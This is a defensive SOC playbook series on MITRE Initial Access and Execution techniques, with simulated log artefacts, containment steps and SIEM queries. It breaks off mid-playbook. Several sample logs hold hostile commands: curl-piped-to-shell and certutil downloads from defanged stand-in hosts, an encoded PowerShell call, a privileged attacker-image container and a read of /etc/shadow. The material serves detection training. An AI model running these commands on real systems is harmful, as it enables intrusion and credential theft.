2026-03-18T01:13:49Z
unexpected_outbound_connection=hxxps://control-node[.]net

Severity decision (SOC)

Low

- Vendor alert only, no internal impact
- Compromise suspected but not confirmed

Medium

- Suspicious behaviour from trusted component
- Limited scope or contained quickly

High

- Confirmed malicious behaviour from signed software or hardware
- Multiple systems affected
- Active C2, credential access or lateral movement

Example severity: High

(Signed vendor update executing malicious behaviour across multiple hosts)

Step-by-step SOC workflow

Step 1 Validate supply-chain trust breach

Confirm:

1. Is the component normally trusted (vendor, dependency, hardware)?
2. Is behaviour new or unexpected after update/deployment?
3. Is code signed or delivered via official channels?
4. Are multiple systems exhibiting identical behaviour?

Decision point

- False positive or misconfiguration → monitor
- Confirmed compromise → continue investigation immediately

Step 2 Identify supply-chain compromise scope

Sub-technique	Evidence	Attacker value
Dev tools / deps	Malicious dependency	Developer access
Software supply	Trojanised update	Mass distribution
Hardware supply	Pre-infected firmware	Persistent foothold

Step 3 Map compromise behaviour to sub-techniques

3A) Compromise Software Dependencies & Development Tools

Indicators

- New or altered dependencies

- Build scripts making network calls
- Secrets accessed during build

Attacker intent

- Insert backdoors early
- Steal credentials or inject malware

3B) Compromise Software Supply Chain

Indicators

- Signed updates with malicious runtime behaviour
- Uniform behaviour across many hosts

Attacker intent

- Scale initial access
- Evade reputation-based controls

3C) Compromise Hardware Supply Chain

Indicators

- New hardware beaconing externally
- Firmware changes without change records

Attacker intent

- Long-term persistence
- Network-level visibility and control

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Services, agents, firmware tasks
2. Credential Access
 - Secrets, API keys, directory access
3. Lateral Movement
 - East-west traffic
4. C2
 - TLS or DNS beaconing

Decision point

- Evidence found → escalate to Incident Response (Major Incident)

Containment actions

If compromise suspected

1. Pause updates and deployments immediately
2. Block suspicious domains and IPs
3. Isolate affected systems
4. Notify vendor and internal stakeholders

If compromise confirmed

1. Disable or uninstall affected software/agents
2. Isolate impacted endpoints and servers
3. Block all related infrastructure
4. Initiate vendor incident coordination and advisory response

Eradication and recovery

- Remove malicious components and persistence
- Roll back to known-good versions
- Rotate exposed credentials and secrets
- Reimage systems if integrity is uncertain
- Validate firmware integrity on hardware

Detection engineering (SIEM ideas)

A) Signed software with anomalous behaviour

```
index=edr  
| where signature="valid"  
| where behavior IN ("credential_access","process_injection","outbound_beacon")
```

B) Uniform post-update anomalies

```
index=network  
| stats count by dst_domain, application  
| where count > threshold
```

C) Build pipeline network access

```
index=ci_cd  
| where event="Build_Completed"  
| where unexpected_network_call=true
```

Analyst checklist

- Trusted component identified
- Scope of affected systems mapped
- Vendor and internal escalation completed
- Malicious behaviour contained
- Recovery and rollback verified

Post-incident improvements

- Enforce software bill of materials (SBOM) tracking
- Monitor behaviour, not just signatures, of trusted code
- Harden CI/CD pipelines and dependency controls
- Validate firmware and hardware integrity on receipt
- Conduct regular third-party risk and tabletop exercises

Playbook 28 (MITRE Initial Access): Trusted Relationship

Technique: Trusted Relationship

Purpose

Detect, investigate and respond to abuse of trusted relationships that allow attackers to:

- Pivot from a compromised partner into your environment
- Abuse existing VPNs, APIs or SSO trusts
- Bypass MFA or conditional access due to trust assumptions
- Gain access without exploiting vulnerabilities directly

Trusted relationship abuse is low-noise, high-impact and frequently results in delayed detection.

When to trigger this playbook

Trigger this playbook when indicators suggest access via trusted third parties, including:

- Login activity from partner or vendor IP ranges
- Access using shared or service accounts
- Authentication via federated identity providers
- Activity from MSP tools outside expected scope
- Threat intel reporting partner compromise
- Access paths not normally used by internal users

Example use case scenario (end-to-end)

Context: SOC detects administrative activity performed through a vendor VPN connection used for system maintenance. The vendor later confirms their environment was compromised.

Attacker objective: Leverage an existing trusted connection to gain initial access without detection.

Defender objective: Confirm abuse of trust, contain access paths and prevent further partner-based intrusion.

What it looks like (simulated SOC artefacts)

A) VPN / Network Logs – Partner Access

2026-03-20T01:11:02Z

service=SiteToSite_VPN
partner=Vendor_X
src_ip=203.0.113.45
dst_segment=admin_network
connection_status=established

B) Identity / SSO Logs – Federated Login

2026-03-20T01:12:21Z
idp=Federated_SSO
user=vendor_admin@partner.com
auth_method=federated
result=success

C) Privileged Activity

2026-03-20T01:13:02Z
user=vendor_admin
action=Create_Local_Admin
host=APP-SRV-01

D) Threat Intelligence Correlation

2026-03-20T01:13:49Z
ti_alert=Partner_Compromised
partner=Vendor_X
confidence=high

Severity decision (SOC)

Low

- Partner access verified and expected
- Activity within documented scope

Medium

- Partner access with unusual timing or systems
- No confirmed malicious action

High

- Confirmed partner compromise
- Privileged or sensitive activity observed

Example severity: High

(Compromised vendor VPN used for administrative changes)

Step-by-step SOC workflow**Step 1 Validate trusted relationship abuse**

Confirm:

1. Is the access originating from a trusted partner?
2. Is the activity within documented scope and schedule?
3. Are accounts shared, service-based or federated?
4. Is there external confirmation of partner compromise?

Decision point

- Legitimate partner activity → document and monitor
- Unauthorised or abused trust → continue investigation immediately

Step 2 Identify trust relationship scope

Trust type	Evidence	Attacker value
Vendor VPN	Site-to-site access	Network entry
MSP tools	Admin consoles	Broad control
Federated SSO	Cross-org identity	Clean authentication
Shared accounts	Service credentials	Persistence

Step 3 Map abuse behaviour to attacker intent**3A) Partner Network Pivot****Indicators**

- Access from partner IPs
- Entry into admin or sensitive segments

Attacker intent

- Bypass perimeter security

3B) Federated Identity Abuse**Indicators**

- SSO login without local authentication
- No MFA challenge due to trust

Attacker intent

- Blend in as trusted user

3C) MSP / Vendor Tool Abuse

Indicators

- RMM or admin tools used unexpectedly
- Broad system access

Attacker intent

- Rapid control and persistence

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - New accounts, trust modifications
2. Lateral Movement
 - SMB, RDP, SSH via trusted path
3. Credential Access
 - Secrets, directory access
4. Impact
 - Configuration changes, data access

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If abuse suspected

1. Suspend partner access immediately
2. Disable shared or federated accounts
3. Restrict VPN or trust scopes
4. Notify partner security contacts

If abuse confirmed

1. Terminate all partner connections
2. Rotate shared credentials and secrets
3. Audit systems accessed via trust
4. Activate major incident response

Eradication and recovery

- Remove malicious changes and persistence
- Restore trust configurations from known-good state
- Re-establish access with least privilege
- Require strong MFA and logging for all trusted access
- Issue internal and partner assurance

Detection engineering (SIEM ideas)

A) Partner access to sensitive segments

```
index=vpn  
| where partner IS NOT NULL  
| where dst_segment IN ("admin","finance","prod")
```

B) Federated login anomalies

```
index=auth  
| where auth_method="federated"  
| where geo_change=true OR time_anomaly=true
```

C) MSP tool usage anomaly

```
index=edr  
| where tool IN ("RMM","RemoteAdmin")  
| where usage_outside_window=true
```

Analyst checklist

- Trusted relationship identified
- Partner legitimacy verified
- Scope of access assessed
- Trust paths restricted or revoked
- Stakeholders and partners notified

Post-incident improvements

- Enforce least privilege on all trust relationships
- Segregate partner access networks
- Require phishing-resistant MFA for federated access
- Continuously monitor partner behaviour
- Include partner compromise in SOC tabletop exercises

Playbook 29 (MITRE Initial Access): Valid Accounts

Technique: Valid Accounts

Sub-techniques:

- Default Accounts
- Domain Accounts
- Local Accounts
- Cloud Accounts

Purpose

Detect, investigate and respond to adversaries gaining initial access using legitimate credentials, enabling attackers to:

- Bypass perimeter and exploit controls entirely
- Blend into normal authentication activity
- Avoid malware and exploit-based detection
- Rapidly pivot to lateral movement and persistence
- Operate with low noise and long dwell time

Valid accounts are among the most dangerous Initial Access techniques because authentication succeeds normally.

When to trigger this playbook

Trigger this playbook when indicators suggest credential-based access, including:

- Successful logins without preceding malware or phishing alerts
- Authentication from unusual geographies, devices or ASNs
- Access outside normal hours or role expectations
- Threat intel reporting stolen credentials or access brokers
- Sudden privilege usage by previously low-risk accounts

Example use case scenario (end-to-end)

Context: SOC detects a successful login to a cloud admin portal using a legitimate account from a new country. No exploit or phishing is detected, but the account immediately accesses privileged APIs.

Attacker objective: Use legitimate credentials to gain initial access while avoiding detection.

Defender objective: Confirm legitimacy, contain abuse and prevent privilege escalation or persistence.

What it looks like (simulated SOC artefacts)

A) Default Accounts

2026-03-22T01:11:02Z
service=Router_Admin
user=admin
auth_method=password
src_ip=198.51.100.45
result=success
2026-03-22T01:11:06Z
note=Default credentials not rotated

B) Domain Accounts

2026-03-22T01:12:21Z
service=AD
user=j.smith
logon_type=network
src_ip=203.0.113.88
geo=RU
result=succes

C) Local Accounts

2026-03-22T01:13:44Z
host=APP-SRV-02
user=localadmin
logon_type=interactive
result=success

D) Cloud Accounts

2026-03-22T01:14:55Z
platform=Cloud_Admin_Portal
user=cloud-admin@example.my
auth_method=password
mfa=disabled
src_ip=45.77.12.9

Severity decision (SOC)

Low

- Access confirmed legitimate
- Strong MFA and normal behaviour

Medium

- Unusual login but limited activity
- No sensitive systems accessed

High

- Privileged or admin access
- MFA bypass or disabled
- Sensitive systems or data accessed

Example severity: High

(Cloud admin login from new country with MFA disabled)

Step-by-step SOC workflow

Step 1 Validate account legitimacy

Confirm immediately:

1. Does the user recognise the login?
2. Is the access expected for the role?
3. Is MFA enabled, bypassed or disabled?
4. Are there previous anomalies for this account?

Decision point

- Legitimate access → document and monitor
- Suspicious or unverified → continue investigation immediately

Step 2 Identify valid account type and scope

Account type	Evidence	Attacker value
Default	Factory creds	Immediate access
Domain	AD credentials	Broad internal access
Local	Host admin	Persistence
Cloud	SaaS/IaaS admin	Org-wide impact

Step 3 Map behaviour to sub-techniques

3A) Default Accounts

Indicators

- Known default usernames
- No password rotation

Attacker intent

- Quick access to infrastructure

3B) Domain Accounts

Indicators

- Successful AD authentication
- Geo or time anomalies

Attacker intent

- Lateral movement and escalation

3C) Local Accounts

Indicators

- Interactive logins on servers
- Rarely used admin accounts

Attacker intent

- Persistence and control

3D) Cloud Accounts

Indicators

- Admin portal access
- API calls, role changes

Attacker intent

- Data access, service abuse

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Privilege Escalation
 - Role changes, group membership
2. Persistence
 - New accounts, MFA changes
3. Lateral Movement
 - RDP, SMB, API access
4. Impact
 - Data access, configuration changes

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If suspicious access detected early

1. Disable affected accounts immediately
2. Force password resets and MFA enrolment
3. Revoke active sessions and tokens
4. Block source IPs and ASNs

If abuse confirmed

1. Disable all related accounts
2. Rotate credentials across systems
3. Audit privileged activity
4. Activate full IR procedures

Eradication and recovery

- Remove unauthorised accounts or roles
- Restore IAM configurations
- Re-enable access with least privilege
- Validate no persistence remains
- Issue assurance to stakeholders

Detection engineering (SIEM ideas)

A) Successful login without MFA

index=auth

```
| where login_result="success"  
| where mfa="disabled"
```

B) Default account usage

```
index=auth  
| where user IN ("admin","root","administrator")
```

C) Cloud admin anomaly

```
index=cloud  
| where role="admin"  
| where geo_change=true OR device_new=true
```

Analyst checklist

- Account legitimacy verified
- MFA and password status reviewed
- Scope of access identified
- Sessions revoked and creds rotated
- Lateral movement ruled out

Post-incident improvements

- Enforce phishing-resistant MFA everywhere
- Eliminate default accounts or rotate immediately
- Implement conditional access and geo restrictions
- Monitor access broker activity
- Run regular credential exposure assessments

Playbook 30 (MITRE Initial Access): Wi-Fi Networks

Technique: Wi-Fi Networks

Purpose

Detect, investigate and respond to unauthorised or malicious use of wireless networks, enabling attackers to:

- Harvest corporate credentials
- Gain internal network access without VPN
- Intercept or manipulate traffic
- Pivot from guest to corporate networks
- Establish footholds without malware delivery

Wi-Fi Network abuse is a direct Initial Access vector, commonly paired with Valid Accounts, Trusted Relationships and Hardware Additions.

When to trigger this playbook

Trigger this playbook when indicators suggest wireless-based intrusion or abuse, including:

- Detection of rogue or spoofed SSIDs
- Multiple authentication failures followed by success
- Users authenticating to Wi-Fi from unusual locations
- Credential theft shortly after Wi-Fi connection
- New devices appearing on internal VLANs without onboarding
- Wireless IDS/WIPS alerts

Example use case scenario (end-to-end)

Context: SOC detects multiple users authenticating to a corporate SSID from a conference room, followed by credential abuse and cloud login anomalies. Wireless monitoring reveals a rogue access point mimicking the corporate Wi-Fi SSID (Evil Twin).

Attacker objective: Harvest credentials and gain initial network access via wireless trust.

Defender objective: Identify rogue Wi-Fi infrastructure, contain access and prevent further credential compromise.

What it looks like (simulated SOC artefacts)

A) Wireless IDS – Rogue Access Point

2026-03-24T01:11:02Z
ssid=Corp-WiFi
bssid=AC:DE:48:11:22:33
signal_strength=high
status=unauthorised
location=Level_2

B) Wireless Authentication Logs

2026-03-24T01:11:18Z
user=employee07
ssid=Corp-WiFi
auth_method=PEAP
result=success
2026-03-24T01:11:22Z
note=Authentication via unknown BSSID

C) Captive Portal / Credential Harvest

2026-03-24T01:11:29Z
portal_domain=corp-wifi-login[.]net
credential_submission=true

D) Post-Wi-Fi Credential Abuse

2026-03-24T01:13:55Z
service=Cloud_Portal
user=employee07
src_ip=rogue_ap_exit_node
geo=MY
result=success

Severity decision (SOC)

Low

- Rogue SSID detected but no user interaction
- No successful authentication

Medium

- Users connected but no credential abuse observed
- Guest network exposure only

High

- Credential harvesting confirmed
- Internal or cloud access achieved
- Rogue AP actively impersonating corporate SSID

Example severity: High

(Evil Twin Wi-Fi → credential harvest → cloud login)

Step-by-step SOC workflow

Step 1 Validate Wi-Fi attack presence

Confirm:

1. Is the SSID legitimate or spoofed?
2. Is the BSSID registered and expected?
3. Are users connecting to unauthorised APs?
4. Is there credential use shortly after Wi-Fi access?

Decision point

- Misconfiguration or benign AP → remediate
- Malicious wireless activity → continue investigation immediately

Step 2 Identify Wi-Fi attack scope

Wi-Fi vector	Evidence	Attacker value
Rogue AP	Unknown BSSID	Credential harvest
Evil Twin	Matching SSID	Trust abuse
Weak encryption	WPA misconfig	Network access
Guest Wi-Fi	Internal reach	Pivot point
MITM	Traffic interception	Credential/session theft

Step 3 Map behaviour to attacker intent

3A) Rogue / Evil Twin Access Points

Indicators

- Duplicate SSIDs
- Stronger signal than legitimate APs

Attacker intent

- Trick users into connecting

3B) Credential Harvesting

Indicators

- Captive portals
- PEAP/MSCHAPv2 weaknesses

Attacker intent

- Steal corporate credentials

3C) Network Pivoting

Indicators

- Guest Wi-Fi accessing internal VLANs
- Unmanaged devices on corporate segments

Attacker intent

- Lateral movement and persistence

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Valid Accounts
 - Login anomalies
2. Lateral Movement
 - SMB, RDP from wireless ranges
3. Persistence
 - New devices, cached credentials
4. Impact
 - Data access, configuration changes

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If rogue Wi-Fi detected early

1. De-authenticate rogue APs (WIPS)
2. Notify physical security
3. Warn users immediately

If compromise suspected

1. Disable affected user accounts
2. Reset credentials and enforce MFA
3. Block rogue BSSIDs and MACs
4. Isolate wireless segments

Eradication and recovery

- Remove rogue APs physically
- Reconfigure Wi-Fi security (WPA3, cert-based auth)
- Rotate compromised credentials
- Audit wireless network segmentation
- Validate no unauthorised devices remain

Detection engineering (SIEM ideas)

A) Unknown BSSID usage

index=wireless
| where authorised=false

B) Wi-Fi login followed by cloud access

index=wireless OR index=auth
| transaction user maxspan=15m
| where auth_result="success"

C) Guest Wi-Fi pivot detection

index=network
| where src_vlan="guest"
| where dst_vlan="corp"

Analyst checklist

- Rogue or weak Wi-Fi confirmed
- User exposure assessed
- Credentials rotated
- Wireless infrastructure secured

- Physical security engaged

Post-incident improvements

- Deploy continuous wireless IDS/WIPS
- Enforce WPA3-Enterprise with certificate-based auth
- Segment guest and corporate Wi-Fi strictly
- Educate users on rogue Wi-Fi risks
- Include Wi-Fi attacks in SOC and red-team exercises

EXECUTION

Execution is the stage where attackers run malicious code or commands within the victim environment to carry out their objectives. After gaining initial access, adversaries execute payloads, scripts, exploits or living-off-the-land commands to establish control, deploy malware or advance the attack chain. Execution may appear as a single obvious action or as a series of subtle commands blended with legitimate activity. For SOC teams, this phase is a critical detection point, because successful execution confirms an active intrusion. Rapid identification and response at this stage can disrupt the attack before persistence, privilege escalation or lateral movement occur, significantly reducing the overall impact of the incident.

Playbook 31 (MITRE Execution): Cloud Administration Command

Technique: Cloud Administration Command

Purpose

Detect, investigate and respond to malicious or unauthorised execution of cloud administration commands, enabling attackers to:

- Enumerate cloud resources
- Modify IAM roles and permissions
- Create persistence via new users, keys or service principals
- Access or exfiltrate cloud-hosted data
- Disable logging or security controls

This technique commonly follows Initial Access (Valid Accounts / Phishing / Wi-Fi / Trusted Relationship) and precedes Persistence, Privilege Escalation and Impact.

When to trigger this playbook

Trigger this playbook when indicators suggest abuse of cloud administrative capabilities, including:

- CLI or API activity from unusual locations or devices
- IAM changes without approved change records
- Rapid execution of multiple admin commands
- Creation of access keys or service principals
- Security services disabled or modified
- Automation executed outside CI/CD pipelines

Example use case scenario (end-to-end)

Context: SOC detects successful login to a cloud tenant using a valid account. Within minutes, multiple cloud administration commands are executed to list resources, create a new admin role and generate access keys.

Attacker objective: Leverage legitimate cloud admin interfaces to execute actions at scale without deploying malware.

Defender objective: Identify malicious cloud execution, contain access and prevent persistence or data loss.

What it looks like (simulated SOC artefacts)

A) Cloud CLI Execution

2026-03-26T01:11:02Z
platform=Cloud
tool=AzureCLI
user=cloud-admin@example.my
command="az role assignment create --role Owner"
result=success

B) Cloud API / Graph Calls

2026-03-26T01:11:08Z
api=MicrosoftGraph
operation=AddMemberToRole
role=GlobalAdmin
caller_ip=45.77.12.9

C) IAM Key Creation

2026-03-26T01:11:15Z
event=CreateAccessKey
user=svc-backup
key_id=AKIA*****

D) Security Control Modification

2026-03-26T01:11:24Z
service=DefenderForCloud
action=Disable
initiated_by=cloud-admin@example.my

Severity decision (SOC)

Low

- Admin command executed by authorised user
- Within approved change window

Medium

- Admin command from unusual device or location
- No immediate security impact

High

- Privileged role changes
- Key or token creation
- Security controls disabled

Example severity: High

(Global admin assignment + access key creation + security service disabled)

Step-by-step SOC workflow

Step 1 Validate cloud command legitimacy

Confirm:

1. Is the account authorised to run admin commands?
2. Is the activity documented in a change request?
3. Is the execution interactive, automated or scripted?
4. Does the source device, IP or geo match user baseline?

Decision point

- Legitimate admin work → document and monitor
- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify cloud execution scope

Command category	Evidence	Attacker value
IAM	Role / key creation	Privilege & persistence
Resource	VM, storage listing	Reconnaissance
Network	Firewall, NSG edits	Lateral movement
Security	Logging disabled	Defense evasion
Automation	IaC / runbooks	Scale

Step 3 Map execution behaviour to attacker intent

3A) Cloud Resource Enumeration

Indicators

- List / describe commands
- No preceding IaC pipeline

Attacker intent

- Understand cloud footprint

3B) Privilege Manipulation

Indicators

- Role assignments
- Admin group changes

Attacker intent

- Privilege escalation

3C) Persistence via Cloud Objects

Indicators

- New users, service principals, access keys
- OAuth app creation

Attacker intent

- Long-term access

3D) Security Control Suppression

Indicators

- Logging or defender services disabled

Attacker intent

- Reduce detection

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - New IAM objects
2. Lateral Movement
 - Cross-subscription / cross-project access
3. Collection
 - Storage access, database exports
4. Exfiltration
 - Large outbound data transfers

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If detected early

1. Disable affected accounts and tokens
2. Revoke newly created keys and roles
3. Block suspicious IPs and devices

If abuse confirmed

1. Lock down cloud tenant temporarily
2. Roll back IAM and security changes
3. Rotate all privileged credentials
4. Activate full cloud IR procedures

Eradication and recovery

- Remove unauthorised roles, keys and service principals
- Restore logging and security controls
- Revalidate IaC and automation pipelines
- Audit all cloud admin actions
- Issue assurance to stakeholders

Detection engineering (SIEM ideas)

A) Cloud admin command anomaly

```
index=cloud  
| where command_category="admin"  
| where geo_change=true OR device_new=true
```

B) IAM modification detection

```
index=cloud  
| where event IN ("CreateUser","AddRole","CreateAccessKey")
```

C) Security service disablement

```
index=cloud  
| where action="Disable"
```

| where service IN ("Defender","SecurityCenter","Logging")

Analyst checklist

- Cloud execution validated
- IAM and security impact assessed
- Credentials and tokens revoked
- Persistence removed
- Logging restored

Post-incident improvements

- Enforce phishing-resistant MFA for all cloud admins
- Restrict CLI and API access by device and IP
- Require just-in-time (JIT) admin privileges
- Monitor cloud execution as high-risk behaviour
- Include cloud command abuse in SOC simulations

Playbook 32 (MITRE Execution): Command and Scripting Interpreter

Technique: Command and Scripting Interpreter

Sub-techniques:

- PowerShell
- AppleScript
- Windows Command Shell
- Unix Shell
- Visual Basic
- Python
- JavaScript
- Network Device CLI
- Cloud API
- AutoHotKey & AutoIT
- Lua
- Hypervisor CLI
- Container CLI / API

Purpose

Detect, investigate and respond to adversary execution using built-in interpreters and scripting environments, enabling attackers to:

- Execute payloads without dropping binaries
- Live-off-the-land (LOLBins) to evade AV/EDR
- Automate actions rapidly and silently
- Blend malicious activity with legitimate administration
- Pivot across endpoints, servers, network devices, cloud and containers

This is the most observed Execution technique and appears in nearly every real-world intrusion.

When to trigger this playbook

Trigger this playbook when indicators suggest scripting or interpreter abuse, including:

- Command execution from user-facing processes (browser, Office, explorer)
- Script execution from unusual paths or encoded content
- High-risk command usage (download, credential access, disable security)
- Interpreter usage on systems where scripting is uncommon
- CLI/API execution outside approved automation pipelines

Example use case scenario (end-to-end)

Context: SOC detects PowerShell execution from a finance workstation after a phishing email. Within minutes, Python scripts enumerate files, Cloud APIs create tokens and Container CLI pulls images from an unknown registry.

Attacker objective: Use interpreters to execute actions across multiple platforms without malware.

Defender objective: Identify interpreter abuse, contain execution paths and prevent follow-on stages.

What it looks like (simulated SOC artefacts)

A) PowerShell

```
2026-03-28T01:11:02Z
parent_process=winword.exe
process=powershell.exe
command_line=-EncodedCommand SQBFAFgA...
```

B) AppleScript

```
2026-03-28T01:11:14Z
process=osacompile
script=do shell script "curl hxxp://node[.]net/p.sh | sh"
```

C) Windows Command Shell

```
2026-03-28T01:11:21Z
process=cmd.exe
command=certutil -urlcache -f http://node[.]net/a.exe a.exe
```

D) Unix Shell

```
2026-03-28T01:11:34Z
process=/bin/bash
command=curl http://node[.]net/x.sh | bash
```

E) Visual Basic

```
2026-03-28T01:11:48Z
process=wscript.exe
script=update.vbs
```

F) Python

2026-03-28T01:12:02Z
process=python3
script=enum.py

G) JavaScript

2026-03-28T01:12:15Z
process=node.exe
script=loader.js

H) Network Device CLI

2026-03-28T01:12:29Z
device=Firewall01
command=show running-config
user=net-admin

I) Cloud API

2026-03-28T01:12:41Z
api=AWS_IAM
action=CreateUser

J) AutoHotKey & AutoIT

2026-03-28T01:12:55Z
process=AutoHotkey.exe
script=inject.ahk

K) Lua

2026-03-28T01:13:08Z
process=lua
script=module.lua

L) Hypervisor CLI

2026-03-28T01:13:21Z
tool=esxcli
command=network firewall set --enabled false

M) Container CLI / API

2026-03-28T01:13:36Z

tool=docker
command=docker run --privileged attacker/image

Severity decision (SOC)

Low

- Interpreter use aligned with admin role
- Approved scripts and automation

Medium

- Interpreter use from user context
- Suspicious but limited commands

High

- Encoded, obfuscated or chained commands
- Interpreter spawned by user apps
- Security control modification

Example severity: High

(Office → PowerShell → Python → Cloud API)

Step-by-step SOC workflow

Step 1 Validate interpreter execution context

Confirm:

1. Who launched the interpreter (user, service, app)?
2. From where (path, parent process)?
3. What commands were executed?
4. Is this normal for the host role?

Decision point

- Approved automation → document
- Suspicious execution → continue investigation immediately

Step 2 Identify interpreter scope

Interpreter	Evidence	Attacker value
PowerShell / CMD	Native Windows	Stealth execution

Bash / Shell	Unix control	Server access
Python / JS	Automation	Rapid tooling
Network CLI	Infra access	Config control
Cloud API	Tenant control	Scale
Container / Hypervisor	Host escape	Full control

Step 3 Map behaviour to attacker intent

3A) Living-off-the-Land Execution

Indicators

- Native interpreters
- No dropped binaries

Attacker intent

- Evade detection

3B) Automation & Speed

Indicators

- Scripts looping resources
- Bulk API calls

Attacker intent

- Rapid expansion

3C) Defense Evasion

Indicators

- Disable logging
- Firewall changes

Attacker intent

- Reduce visibility

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence – scheduled tasks, profiles
2. Credential Access – tokens, secrets
3. Lateral Movement – SSH, WinRM, APIs
4. Impact – encryption, deletion, sabotage

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If detected early

1. Terminate interpreter processes
2. Block scripts and command hashes
3. Disable abused interpreters temporarily

If abuse confirmed

1. Isolate affected systems
2. Revoke credentials and tokens
3. Disable admin interfaces used
4. Activate full IR playbook

Eradication and recovery

- Remove scripts and persistence
- Reimage systems if integrity uncertain
- Restore configs and logging
- Rotate exposed credentials
- Validate no automation remains

Detection engineering (SIEM ideas)

A) User-spawned interpreter

```
index=edr  
| where parent_process IN ("winword.exe","excel.exe","chrome.exe")  
| where process IN ("powershell.exe","cmd.exe","python.exe","bash")
```

B) Encoded / obfuscated commands

```
index=edr
```

| where command_line LIKE "%-EncodedCommand%" OR command_line LIKE "%base64%"

C) Container or hypervisor CLI abuse

index=infra

| where tool IN ("docker","kubectl","esxcli")

| where executed_by NOT IN approved_automation

Analyst checklist

- Interpreter execution confirmed
- Parent/child relationship analysed
- Scope of commands identified
- Persistence ruled out
- Credentials rotated

Post-incident improvements

- Restrict interpreters by role and device
- Enable script block logging and AMSI
- Enforce signed scripts and execution policies
- Monitor infra and cloud CLIs as Tier-1 alerts
- Train SOC on LOLBin-based execution chains

Playbook 33 (MITRE Execution): Container Administration Command

Technique: Container Administration Command

Purpose

Detect, investigate and respond to unauthorised or malicious container administration commands, enabling attackers to:

- Execute commands inside containers
- Deploy malicious containers or images
- Escape containers to host systems
- Access secrets, tokens and service accounts
- Establish persistence in Kubernetes clusters
- Use containers for cryptomining, C2 or lateral movement

This technique commonly follows Initial Access or Cloud Admin Command and precedes Privilege Escalation, Credential Access and Impact.

When to trigger this playbook

Trigger this playbook when indicators suggest abuse of container administration, including:

- docker exec, kubectl exec or kubectl run from unusual users
- New containers launched from untrusted registries
- Privileged containers created unexpectedly
- Secrets accessed via Kubernetes APIs
- Cluster admin commands executed outside CI/CD pipelines
- Sudden spikes in container creation or deletion

Example use case scenario (end-to-end)

Context: SOC detects a valid cloud account authenticating to a Kubernetes cluster. Within minutes, container admin commands are used to deploy a privileged container, mount the host filesystem and access Kubernetes secrets.

Attacker objective: Use container administration to execute code, escalate privileges and persist within the cluster.

Defender objective: Identify malicious container execution, contain the cluster and prevent host or cloud compromise.

What it looks like (simulated SOC artefacts)

A) Kubernetes CLI Execution

2026-03-30T01:11:02Z

tool=kubectl

user=cloud-admin@example.my

command=kubectl exec -it api-pod -- /bin/bash

result=success

B) Privileged Container Deployment

2026-03-30T01:11:11Z

command=kubectl run debug --image=attacker/debug:latest

securityContext.privileged=true

C) Host File System Access

2026-03-30T01:11:18Z

mount=/hostfs

access=/hostfs/etc/shadow

D) Secret Enumeration

2026-03-30T01:11:26Z

command=kubectl get secrets --all-namespaces

result=success

E) Container Runtime API Call

2026-03-30T01:11:34Z

runtime=containerd

action=CreateContainer

image=unknown/miner:latest

Severity decision (SOC)

Low

- Container commands executed by approved automation
- Activity aligned with CI/CD or maintenance windows

Medium

- Manual container admin activity from unusual users
- No privileged containers or secrets accessed

High

- Privileged containers launched
- Host filesystem mounted
- Secrets accessed or new workloads deployed

Example severity: High

(Privileged container + secret access + host filesystem mount)

Step-by-step SOC workflow

Step 1 Validate container admin legitimacy

Confirm:

1. Is the user authorised for container administration?
2. Is the activity documented and change-approved?
3. Is the execution manual or automated?
4. Does the activity align with cluster role and namespace?

Decision point

- Approved activity → document and monitor
- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify container execution scope

Area	Evidence	Attacker value
kubectl / Docker CLI	Exec, run, deploy	Code execution
Privileged containers	--privileged	Host escape
Secrets	API access	Credential theft
Images	Untrusted registry	Malware delivery
Runtime API	Direct container control	Persistence

Step 3 Map behaviour to attacker intent

3A) Interactive Execution

Indicators

- kubectl exec, docker exec
- Shell access inside containers

Attacker intent

- Manual control and exploration

3B) Privilege Escalation via Containers

Indicators

- Privileged containers
- HostPath mounts

Attacker intent

- Escape container isolation

3C) Persistence in Cluster

Indicators

- New deployments, daemonsets, cronjobs
- Images pulled from attacker registries

Attacker intent

- Long-term access

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Secrets, service account tokens
2. Lateral Movement
 - Cross-namespace or cross-cluster access
3. Defense Evasion
 - Logging or audit disabling
4. Impact
 - Cryptomining, data destruction, service disruption

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If detected early

1. Revoke affected Kubernetes credentials
2. Terminate suspicious containers and pods
3. Block untrusted container registries

If abuse confirmed

1. Lock down cluster admin access
2. Disable compromised service accounts
3. Quarantine affected nodes
4. Activate full container IR procedures

Eradication and recovery

- Remove malicious containers, images and workloads
- Rotate all cluster secrets and tokens
- Restore RBAC and admission controls
- Rebuild nodes if host compromise suspected
- Validate cluster integrity

Detection engineering (SIEM ideas)

A) Manual container admin execution

```
index=container  
| where tool IN ("kubectl","docker")  
| where executed_by NOT IN approved_automation
```

B) Privileged container detection

```
index=container  
| where securityContext.privileged=true
```

C) Secret access monitoring

```
index=k8s_audit  
| where verb IN ("get","list")  
| where objectRef.resource="secrets"
```

Analyst checklist

- Container admin activity validated
- Privileged execution assessed
- Secret exposure reviewed
- Malicious workloads removed

- Cluster access secured

Post-incident improvements

- Enforce least-privilege Kubernetes RBAC
- Require MFA and device trust for cluster admin access
- Block privileged containers by default
- Monitor container admin commands as high-risk events
- Include container compromise scenarios in SOC simulations

Playbook 34 (MITRE Execution): Deploy Container

Technique: Deploy Container

Purpose

Detect, investigate and respond to unauthorised or malicious container deployments, enabling attackers to:

- Execute malware or tooling in containers
- Establish persistence via long-running pods, cronjobs or daemonsets
- Abuse container infrastructure for cryptomining or C2
- Access secrets, service accounts or host resources
- Blend malicious workloads with legitimate microservices

This technique commonly follows Initial Access or Container Administration Command and precedes Persistence, Privilege Escalation and Impact.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected or suspicious container deployments, including:

- New pods, deployments or services outside approved workflows
